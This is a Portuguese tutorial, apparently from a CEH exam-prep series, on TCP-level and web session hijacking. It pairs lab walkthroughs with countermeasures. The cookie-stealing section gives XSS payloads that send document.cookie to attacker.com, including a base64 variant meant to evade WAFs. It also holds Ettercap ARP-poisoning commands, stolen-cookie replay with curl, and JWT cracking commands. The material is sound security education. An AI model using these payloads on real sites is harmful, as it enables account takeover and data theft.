Session Hijacking: Sequestrando Sessões TCP, Web e Wireless
Quando você faz login num site, um detalhe invisível acontece: o servidor cria uma sessão — um estado que lembra “este usuário está autenticado”. A partir desse momento, cada request que seu navegador envia carrega um token (cookie, header, campo oculto) que diz ao servidor “eu sou quem digo ser”. O problema? Se um atacante conseguir roubar esse token, ele não precisa da sua senha. Ele simplesmente apresenta o mesmo token e o servidor o aceita de braços abertos. Isso é session hijacking — e é uma das técnicas mais devastadoras do arsenal de um atacante.
Este artigo da série CEH v13 Zero to Hero cobre session hijacking de ponta a ponta: do TCP handshake até cookies HTTP, passando por ferramentas práticas e contra-medidas que todo profissional de segurança precisa conhecer.
O que é Session Hijacking
Session hijacking (sequestro de sessão) é o ato de tomar controle de uma sessão estabelecida entre dois sistemas — tipicamente um cliente (navegador) e um servidor — após a autenticação ter ocorrido. O atacante rouba, prevê ou injeta o identificador de sessão e se passa pelo usuário legítimo.
A diferença fundamental em relação a outros ataques: o atacante não precisa descobrir credenciais. Ele usa um token que já é válido porque o usuário real acabou de autenticar. Para o servidor, a requisição do atacante é indistinguível da do usuário legítimo.
Há duas grandes categorias:
- Network-level hijacking — o atacante age na camada de rede/transporte, interceptando e manipulando pacotes TCP. Exemplos: TCP hijacking, RST attacks, ARP poisoning para capturar sessões.
- Application-level hijacking — o atacante age na camada de aplicação, roubando ou prevendo tokens de sessão (cookies, JWTs, session IDs em URLs). Exemplos: XSS para steal cookies, session fixation, session prediction.
Sessões HTTP são stateless por natureza — o protocolo não mantém estado entre requisições. Para simular estado, aplicações usam tokens que o cliente armazena e reenvia. Se o token trafega em claro (HTTP), é armazenado de forma acessível (JavaScript), ou é gerado de forma previsível, ele vira alvo. O servidor confia no token sem verificar se quem o apresenta é realmente quem o recebeu originalmente.
TCP Session Hijacking
No nível de rede, toda sessão TCP começa com o famoso 3-way handshake. Esse handshake estabelece números de sequência (sequence numbers) que controlam a ordem dos dados e garantem integridade. O problema é que, se um atacante conhecer ou puder adivinhar esses números, ele pode injetar pacotes na conexão existente.
O diagrama abaixo mostra o handshake e onde o hijacking acontece:
CLIENTE SERVIDOR
| |
| 1. SYN (seq=1000) |
|------------------------------> |
| |
| 2. SYN-ACK (seq=3000, |
| ack=1001) |
| <------------------------------|
| |
| 3. ACK (seq=1001, |
| ack=3001) |
|------------------------------> |
| |
| ===== SESSÃO ESTABELECIDA =====
| O servidor espera seq=1001
| O cliente espera seq=3001
| |
| [DADOS] (seq=1001, ack=3001) |
|------------------------------> |
| |
| ⚡ ATAQUE: Atacante |
| injeta pacote com |
| seq=1001+len(dados), |
| ack=3001 |
| -------------------------> |
| (servidor aceita se o seq |
| estiver correto!) |
Como funciona na prática
TCP é um protocolo confiável. Cada byte enviado carrega um número de sequência, e cada acknowledgment confirma quantos bytes foram recebidos. Se o atacante puder observar o tráfego (por exemplo, numa rede comutada via ARP poisoning), ele sabe os próximos números de sequência esperados e pode injetar dados na conexão — o servidor aceita porque o seq está correto.
Existem duas modalidades principais:
1. Blind Hijacking (Injeção Cega)
O atacante não vê o tráfego — ele não está na mesma rede ou não tem capacidade de sniffing. Ele precisa adivinhar o próximo sequence number. Historicamente, implementações TCP antigas usavam contadores incrementais simples, tornando a previsão trivial. Hoje, sistemas modernos usam inicialização aleatória de seq numbers (ISN) forte, tornando blind hijacking extremamente difícil.
2. Man-in-the-Browser / Man-in-the-Middle
O atacante posiciona-se entre cliente e servidor (via ARP spoofing, rogue Wi-Fi, DNS poisoning). Ele vê todo o tráfego, conhece os seq/ack exatos e pode modificar, injetar ou dropar pacotes à vontade.
RST Attacks
Um ataque particularmente eficiente é o TCP RST (Reset). O atacante envia um pacote RST para um dos lados da conexão com o sequence number correto. O receptor encerra a conexão imediatamente. Isso é usado para:
- Forçar a vítima a reconectar (possivelmente através de um proxy controlado pelo atacante)
- Denial of Service contra uma sessão específica
- Como parte de um ataque de TCP hijacking mais amplo — resetar a conexão legítima para depois assumir com novos seq numbers
Ferramentas históricas de TCP hijacking
| Ferramenta | Descrição |
|---|---|
| Hunt | Ferramenta clássica para sniffing e hijacking de sessões TCP. Monitora conexões ativas e permite ao atacante assumir controle. Linux, open-source. |
| Juggernaut | Captura sessões TCP e permite monitoramento e injeção de comandos. Contemporânea do Hunt. |
| T-Sight | Comercial (Engarde Systems), permitia monitoramento em tempo real e hijacking de sessões TCP. Considerada avançada para a época. |
O exame CEH ainda menciona essas ferramentas históricas. Entenda os conceitos — blind injection, seq number prediction, RST — mesmo que as ferramentas originais sejam obsoletas. Scapy, Python e frameworks modernos fazem o mesmo hoje.
Application-Level Hijacking
Enquanto o TCP hijacking atua na camada de transporte, o application-level hijacking foca nos tokens de sessão que aplicações web usam para manter o estado de autenticação.
Onde ficam os Session IDs
Aplicações web podem armazenar o identificador de sessão em três lugares:
1. Cookies (mais comum)
Set-Cookie: PHPSESSID=a1b2c3d4e5f6g7h8; Path=/; HttpOnly; Secure
2. URL rewriting
https://exemplo.com/dashboard?JSESSIONID=a1b2c3d4e5f6g7h8
3. Hidden form fields
<input type="hidden" name="jsessionid" value="a1b2c3d4e5f6g7h8">
Os dois últimos são particularmente problemáticos: o session ID aparece em logs, no histórico do navegador, em referrer headers e pode ser compartilhado acidentalmente via copiar/colar de URL.
Como roubar session tokens
Existem várias técnicas para se apoderar de um session token:
- XSS (Cross-Site Scripting) — o método mais direto. Um script malicioso executado no contexto da aplicação lê e envia o cookie de sessão para o atacante.
- Network sniffing — em redes não-criptografadas (HTTP, Wi-Fi aberto), o cookie trafega em claro. Qualquer pessoa na mesma rede pode capturá-lo.
- Session fixation — o atacante força a vítima a usar um session ID que ele já conhece.
- Session prediction — o servidor gera session IDs de forma previsível (algoritmo fraco, seed conhecida).
- Malware — keyloggers e bankers extraem cookies e session data diretamente do navegador.
Session Fixation
O atacante obtém um session ID válido do servidor (visitando a página de login, por exemplo). Ele então convence a vítima a usar esse ID — através de um link com o session ID na URL, ou injetando o cookie via XSS. Quando a vítima faz login, o servidor associa aquele session ID à conta autenticada da vítima. O atacante, que já possui o session ID, agora está autenticado como a vítima.
1. Atacante visita: https://alvo.com/login → recebe JSESSIONID=abc123 2. Atacante envia link para vítima: https://alvo.com/login?JSESSIONID=abc123 3. Vítima clica, faz login com credenciais 4. Servidor associa abc123 à conta da vítima 5. Atacante usa: Cookie: JSESSIONID=abc123 → logged in!
Session Prediction
Se o gerador de session IDs usar algoritmos fracos — como timestamps, incrementais simples, hash MD5 de dados previsíveis — o atacante pode calcular ou enumerar IDs válidos e testá-los até encontrar uma sessão ativa. Isso era comum em aplicações antigas (PHP 3/4, ASP clássico). Hoje, frameworks modernos usam CSPRNG (Cryptographically Secure Pseudo-Random Number Generators), tornando o ataque impraticável.
Cookie Stealing via XSS
XSS é o vetor mais eficaz para roubar cookies de sessão. O princípio é simples: injetar JavaScript que execute no contexto da vítima, acesse document.cookie e envie o valor para um servidor controlado pelo atacante.
Payload básico
<script> new Image().src = "https://attacker.com/steal?c=" + document.cookie; </script>
Esse payload cria uma imagem invisível cuja URL carrega os cookies da vítima como parâmetro de query. Quando o navegador tenta carregar a imagem, a requisição HTTP vai para o servidor do atacante com os cookies expostos no log de acesso.
Payload com codificação (bypass de filtros)
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie})
});
</script>
// Encode base64 para evitar detection por WAF <script> var c = btoa(document.cookie); new Image().src = "https://attacker.com/?d=" + c; </script>
Como o atacante usa o cookie roubado
# O atacante captura nos logs:
GET /steal?c=session_id=eyJhbGciOiJIUzI1NiJ9...; user_role=admin
# Usa curl para testar:
curl -k -H "Cookie: session_id=eyJhbGciOiJIUzI1NiJ9..." \
https://alvo.com/admin/dashboard
# Ou configura o cookie no próprio navegador via DevTools:
# Application → Cookies → Definir o valor roubado
HttpOnly: a defesa primária
O flag HttpOnly impede que JavaScript acesse o cookie. Se o cookie de sessão estiver marcado como HttpOnly, document.cookie retorna string vazia e o XSS não consegue lê-lo diretamente:
# SEM HttpOnly (vulnerável): document.cookie // → "session_id=abc123; user_role=admin" # COM HttpOnly (protegido): document.cookie // → "" (cookie não acessível via JS)
HttpOnly protege contra XSS client-side. Não protege contra sniffing de rede, session fixation ou malware no cliente. Use HttpOnly em combinação com Secure (cookie só via HTTPS), SameSite e HTTPS everywhere.
Token Prediction e Replay Attacks
JWT Session Hijacking
JWTs (JSON Web Tokens) são frequentemente usados para autenticação stateless. Se implementados incorretamente, abrem portas para sequestro de sessão:
1. Algoritmo none
O atacante altera o header do JWT para usar "alg":"none" e remove a assinatura. Algumas bibliotecas antigas aceitam tokens sem assinatura:
// Header modificado:
{ "alg": "none", "typ": "JWT" }
// Payload forjado:
{ "sub": "admin", "role": "administrator" }
// Sem assinatura — bibliotecas vulneráveis aceitam
2. Segredo fraco
Se o secret usado para HMAC-SHA256 for fraco (“secret”, “password123”), é possível brute-force a chave e forjar tokens arbitrários:
# john ou hashcat para quebrar JWT hashcat -m 16500 jwt.txt wordlist.txt john --wordlist=rockyou.txt jwt.txt
Replay Attacks
Um replay attack ocorre quando o atacante captura uma requisição legítima (com token de sessão válido) e a reenvia para o servidor. Sem proteções adicionais, o servidor processa normalmente porque o token é válido.
# Vítima faz transferência:
POST /api/transfer HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
{"to":"conta_vitima","amount":500}
# Atacante captura e reenvia (replay):
POST /api/transfer HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
{"to":"conta_vitima","amount":500}
# Se não houver proteção, a transferência acontece de novo!
Defesas contra replay:
- Timestamp — o token inclui um timestamp e o servidor rejeita tokens “velhos” (ex: > 5 minutos)
- Nonce (Number Used Once) — cada requisição inclui um valor único que o servidor registra e nunca aceita novamente
- Token binding — amarra o token a propriedades da conexão (IP, certificado TLS)
- One-time tokens — tokens de uso único, invalidados após consumação
Session Sidejacking
Session sidejacking é uma variação específica de session hijacking focada em capturar cookies de sessão em tráfego não-criptografado ou parcialmente criptografado.
Firesheep: o caso que popularizou o problema
Em 2010, Eric Butler lançou o Firesheep, uma extensão para Firefox que demonstrou quão fácil era capturar sessões em redes Wi-Fi abertas. O Firesheep monitorava a rede wireless, capturava cookies HTTP de sites populares (Facebook, Twitter, Google, Amazon) e adicionava um botão no navegador: “fazer login como [usuário]”. Com um clique, o atacante assumia a identidade da vítima.
Firesheep não era exatamente uma vulnerabilidade nova — o problema era que sites importantes usavam HTTPS apenas na página de login, retornando para HTTP (com cookies em claro) nas páginas seguintes. O ataque era tão simples que qualquer pessoa com o plugin podia executá-lo.
O lançamento do Firesheep acelerou massivamente a adoção de HTTPS everywhere. Hoje, a maioria dos grandes sites usa HTTPS em todas as páginas e cookies com flag Secure, tornando o sidejacking clássico muito mais difícil. Mas redes internas mal configuradas e serviços que ainda aceitam HTTP permanecem vulneráveis.
Ferramentas de sidejacking
Cookie Cadger — ferramenta Java que monitora interfaces de rede e extrai cookies de sessão. Apresenta os cookies capturados numa interface gráfica e permite utilizá-los diretamente.
Wireshark + filtro HTTP — interceptar cookies manualmente:
# Filtro Wireshark para capturar cookies: http.cookie # Filtro para capturar headers de autenticação: http.authorization
Ataques a redes wireless
Redes Wi-Fi abertas (sem senha) são o cenário clássico para sidejacking. Toda a comunicação entre clientes e access point é visível para qualquer dispositivo na mesma rede. Mesmo redes com WEP (quebrável em minutos) ou WPA/WPA2 com PSK fraco expõem o tráfego depois da chave capturada.
O atacante entra na rede, ativa modo promíscuo, e aguarda cookies de sessão passarem em claro. Em cafeterias, aeroportos e hotéis — onde redes abertas são comuns — isso era (e às vezes ainda é) trivial.
Ferramentas
O ecossistema de ferramentas para session hijacking é amplo. Aqui as mais relevantes para o exame CEH e para prática:
| Ferramenta | Tipo | Uso Principal |
|---|---|---|
| Ettercap | MITM | ARP poisoning, cred harvesting, captura de sessões HTTP, injeção de conteúdo |
| Bettercap | MITM | Sucessor moderno do Ettercap. MITM, proxy HTTP/HTTPS, wireless sniffing, WiFi evil twin |
| Burp Suite | Proxy Web | Interceptação de requests, manipulação de cookies/tokens, session handling |
| Hamster / Ferret | Sidejacking | Ferret captura cookies; Hamster permite usar os cookies roubados no navegador |
| Cookie Cadger | Sidejacking | Captura e apresentação gráfica de cookies em redes não-criptografadas |
| Hunt | TCP Hijack | Monitoramento e hijacking de conexões TCP (histórico) |
Hands-on
A seguir, dois labs práticos que demonstram técnicas de session hijacking em ambiente controlado. Apenas use em redes e sistemas que você tem permissão explícita para testar.
Lab 1: Ettercap — ARP Poisoning + Captura de Cookies
Cenário: Rede de laboratório. O atacante está na mesma LAN que a vítima e o servidor web (HTTP, sem HTTPS).
Passo 1: Ativar IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
Passo 2: Iniciar Ettercap
# Scannear a rede ettercap -T -M arp:remote /gateway// /vitima// # Ou via interface gráfica: ettercap -G # → Sniff → Unified sniffing → selecione interface # → Hosts → Scan for hosts # → Hosts → Add to Target 1 (gateway) # → Hosts → Add to Target 2 (vitima) # → MITM → ARP poisoning → Sniff remote connections ✓ # → Start → Start sniffing
Passo 3: Capturar cookies
# O Ettercap filtra automaticamente informações sensíveis # No output, procure por linhas como: HTTP : 192.168.1.10:80 -> USER: admin PASS: **** COOKIE: PHPSESSID=4f8a2b1c9e3d7f6a INFO: session_id # Ou ativar o filtro de credenciais específico: ettercap -T -M arp:remote /gateway// /vitima// -P autoadd
Passo 4: Usar o cookie roubado
# Com curl: curl -H "Cookie: PHPSESSID=4f8a2b1c9e3d7f6a" http://alvo.com/dashboard # Ou definir o cookie no navegador: # Abra DevTools → Application → Cookies # Adicione: PHPSESSID = 4f8a2b1c9e3d7f6a # Acesse http://alvo.com/dashboard → logged in como a vítima
ARP poisoning pode ser detectado por ferramentas como
arpwatch (monitora mudanças na tabela ARP), XArp e IDS/IPS. Em ambientes de produção, switches gerenciáveis com DHCP snooping e Dynamic ARP Inspection mitigam o problema.
Lab 2: Burp Suite — Manipulação de Session Token
Cenário: Aplicação web vulnerável (ex: DVWA, WebGoat ou app de laboratório).
Passo 1: Configurar Burp como proxy
# Configure o navegador para usar o proxy do Burp: # Host: 127.0.0.1 Port: 8080 # Instale o certificado CA do Burp em: http://burp
Passo 2: Login e captura do token
# No Proxy → HTTP history, localize o request de login # Observe o Set-Cookie na response: Set-Cookie: dvwaSession=a1b2c3d4e5f6; path=/; HttpOnly # Se o cookie NÃO tiver HttpOnly → candidato a XSS theft # Se o cookie NÃO tiver Secure → candidato a network sniffing
Passo 3: Modificar o session token
# No Burp, selecione um request autenticado # Right-click → Send to Repeater # Na aba Repeater, modifique o cookie: Cookie: dvwaSession=aaaaaaaaaaaa # Envie e observe: # → Se retornar erro de sessão inválida: boa validação # → Se retornar página de outro usuário: VULNERABILIDADE! # → Se retornar página de login: token verificado, parcialmente seguro
Passo 4: Testar session fixation
# Antes de fazer login, capture o cookie de sessão: GET /login.php Cookie: dvwaSession=abc123 # Envie esse cookie para uma vítima (simulado): # Vítima faz login com esse cookie # Verifique se o session ID muda após login: # → Se MUDOU: proteção contra fixation existe (bom) # → Se NÃO mudou: vulnerável a session fixation
Contra-medidas
A defesa contra session hijacking exige camadas. Nenhuma medida individual é suficiente — a combinação delas cria profundidade defensiva.
1. HTTPS Everywhere + HSTS
Toda comunicação deve ser criptografada. HSTS (HTTP Strict Transport Security) força o navegador a usar HTTPS exclusivamente, impedindo ataques de downgrade para HTTP:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Isso elimina completamente o sidejacking em redes Wi-Fi e mitiga sniffing de cookies.
2. Flags de Cookie
| Flag | Proteção |
|---|---|
HttpOnly |
Impede acesso via JavaScript. Bloqueia steal via XSS client-side. |
Secure |
Cookie só enviado via HTTPS. Bloqueia captura em tráfego HTTP. |
SameSite=Strict |
Cookie não enviado em cross-site requests. Protege contra CSRF e alguns vetores de hijacking. |
SameSite=Lax |
Cookie enviado em navegações top-level GET. Balance entre segurança e usabilidade. |
Path=/app |
Restringe cookie a caminhos específicos. Minimiza exposição. |
# Cookie seguro ideal: Set-Cookie: session_id=xyz; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
3. Session Timeout Curto
Sessões devem expirar rapidamente. Após inatividade (ex: 15 minutos) e com tempo máximo absoluto (ex: 8 horas). Tokens JWT devem ter expiração curta (exp claim) e usar refresh tokens para renovação.
4. Session Binding
Amarre a sessão a propriedades do cliente que o atacante não pode facilmente falsificar:
- IP binding — registrar o IP da vítima ao criar a sessão e verificar a cada request. Limitação: IPs dinâmicos e NAT quebram essa abordagem.
- User-Agent binding — registrar o User-Agent e verificar. Limitação: fácil de falsificar, mas adiciona uma camada.
- TLS fingerprint — usar características da conexão TLS (cipher suite, extensions) como fingerprint.
5. Token Rotation
Após eventos sensíveis (login, troca de senha, alteração de privilégios), regenere o session ID. O ID antigo é invalidado imediatamente. Isso previne session fixation e limita a janela de exploração se um token for comprometido.
6. MFA (Multi-Factor Authentication)
MFA não previne session hijacking diretamente — se a sessão já está sequestrada, o atacante bypassa o fator que já foi apresentado. Mas MFA com reautenticação para ações sensíveis (transferências bancárias, alteração de dados pessoais) adiciona uma camada de segurança crítica.
7. CSRF Tokens
Embora CSRF tokens protejam contra um ataque diferente (Cross-Site Request Forgery), eles são relevantes porque limitam a capacidade do atacante de executar ações na sessão sequestrada a partir de um contexto diferente. Tokens CSRF por request (não por sessão) são ideais.
- Todos os cookies usam HttpOnly + Secure + SameSite=Strict
- HTTPS em todas as páginas, HSTS habilitado
- Session IDs gerados com CSPRNG, mínimo 128 bits de entropia
- Session ID regenerado após login (anti-fixation)
- Timeout de inatividade: 15 min; tempo máximo: 8h
- Cookie de sessão: Path restrito, Domain restrito
- Sessões invalidadas no logout (server-side)
- MFA para ações sensíveis
- CSRF tokens implementados
- Logs de sessão monitorados para anomalias (múltiplas sessões, IPs diferentes)
Próximo Artigo
No Artigo 17, vamos abordar Denial of Service (DoS) e Distributed Denial of Service (DDoS) — como atacantes sobrecarregam sistemas e redes para tornar serviços indisponíveis. Veremos técnicas como SYN flood, UDP flood, amplification attacks, botnets e as ferramentas usadas tanto por atacantes quanto por defensores. Até lá.